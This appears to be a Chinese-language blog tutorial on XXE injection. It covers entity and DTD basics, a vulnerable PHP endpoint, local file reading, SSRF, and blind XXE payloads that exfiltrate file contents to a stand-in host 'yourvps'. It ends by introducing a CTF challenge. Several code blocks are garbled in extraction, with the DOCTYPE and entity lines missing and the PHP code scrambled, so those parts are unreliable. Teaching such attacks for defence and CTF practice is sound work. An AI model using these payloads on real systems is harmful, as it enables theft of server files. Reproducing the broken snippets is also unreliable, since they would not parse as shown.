小試XML實體註入攻擊
基礎知識
XML(Extensible Markup Language)被設計用來傳輸和存儲數據。關於它的語法,本文不準備寫太多,只簡單介紹一下。
XML基本知識
1 2 3 4 5 | <note> <to>chybeta</to> <from>ph0en1x</from> </note> |
在上面代碼中的第一行,定義XML的版本與編碼。
在XML文檔中,所有的元素都必須正確的嵌套,形成樹形結構。並且整個XML文檔中必須要有一個根元素。如上代碼,<note>
<to>
和<from>
則是根的子元素。
同時,所有的XML元素都必須有關閉標簽,這點不像html語法那樣松散。如果缺失關閉標簽,則會導致XML解析失敗。
實體
所有的XML文檔都由五種簡單的構建模塊(元素,屬性,實體,PCDATA CDATA)構成。這裏著重介紹一下實體:實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體引用是對實體的引用。實體可在內部或外部進行聲明。因此我們利用引入實體,構造惡意內容,從而達到攻擊的目的。
實體類型
XML實體分為四種:字符實體,命名實體,外部實體,參數實體。
文檔類型定義:DTD
wikipedia關於這的描述是:The XML DTD syntax is one of several XML schema languages。簡單的說,DTD的作用是定義XML文檔的合法構建模塊。如前所述,實體也是構建模塊之一。因此可以利用DTD來內部或外部引入實體。
其基本格式:
1 |
內部引入
格式:
1 | <!ENTITY 實體名稱 "實體的值"> |
將DTD和XML放在同一份文檔中,利用DTD定義的實體即為內部實體。
1 2 3 4 5 6 7 |
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe> |
訪問該XML文檔,&chybeta;
會被解析為Hello World!並輸出。
外部引入
基本格式:
1 | <!ENTITY 實體名稱 SYSTEM "URI"> |
通過引用定義在外部的DTD中的實體,我們稱之為外部實體。
由於xxe漏洞主要利用的是外部實體,所以這裏暫不展開。具體實例見下。
利用方式
xxe註入
以php環境為例,index.php內容如下:
1 2 3 4 | ‘xml‘]); print_r((string)$xml); | $xml=simplexml_load_string($_GET[
讀取本地文件
利用各種協議可以讀取文件。比如file協議,這裏的測試環境為win,所以這裏我選擇讀取c盤裏的TEST.txt。
1 2 3 | <root>&file;</root> |
將上述xml進行url編碼後傳進去,可以發現讀取了TEST.txt中的內容。
我這裏測試時,如果不進行url編碼則不能成功解析。
若使用fill協議,在unix環境下,可以用如下xml來讀取passwd:
1 2 3 | <root>&file;</root> |
如果要讀取php文件,因為php、html等文件中有各種括號<
,>
,若直接用file讀取會導致解析錯誤,此時可以利用php://filter
將內容轉換為base64後再讀取。
1 2 3 | <root>&file;</root> |
這裏同樣先經過url編碼後再傳入。讀取結果如下:
命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。這裏暫不進行測試。
內網探測/SSRF
由於xml實體註入攻擊可以利用http://
協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。
bind xxe
以php環境為例,現在更改index.php內容如下:
1 2 3 | ‘xml‘]); | $xml=simplexml_load_string($_GET[
少了print_r,即沒有回顯消息。這個時候我們可以利用參數實體,通過發起http請求來攻擊。
讀取本地文件
payload1
1 2 3 4 5 6 7 | <!ENTITY % file SYSTEM "file:///c://TEST.txt"> <!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml"> %dtd; %all; ]> <value>&send;</value> |
在我的vps的xxe.xml的內容如下:
1 | <!ENTITY % all "<!ENTITY send SYSTEM ‘http://yourvps/%file;‘>"> |
而測試文件TEST.txt內容為:
1 | chybeta |
整個的調用過程如下:解析時%dtd
引入xxe.xml,之後%all
引入send
的定義,最後引用了實體send,把%file
文件內容通過一個http請求發了出去。註意需要把payload經過url編碼。查看vps上的access.log:
若要讀取php等文件,同樣需要先經過base64加密下。
1 2 3 4 5 6 7 | <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"> <!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml"> %dtd; %all; ]> <value>&send;</value> |
查看access.log:
payload2
發送的xml:
1 2 3 4 5 6 | <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php"> <!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml"> %dtd; %send; ]> |
而在vps上的xxe.xml內容為:
1 | <!ENTITY % payload2 "<!ENTITY % send SYSTEM ‘http://yourvps/%file;‘>"> %payload2; |
註意的是,
不能直接寫成%
,否則無法解析。
xxe.xml中定義和引用了%payload2
,在通過%dtd
引入xxe.xml後,得以使用符號實體%send來進行發送。其中%file為讀取的文件內容。查看access.log:
ctf
小試牛刀
拿jarvisoj平臺上的題目來小試牛刀吧。
題目:api調用
題目描述:請設法獲得目標機器/home/ctf/flag.txt中的flag值
參考鏈接:https://chybeta.github.io/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/
小試XML實體註入攻擊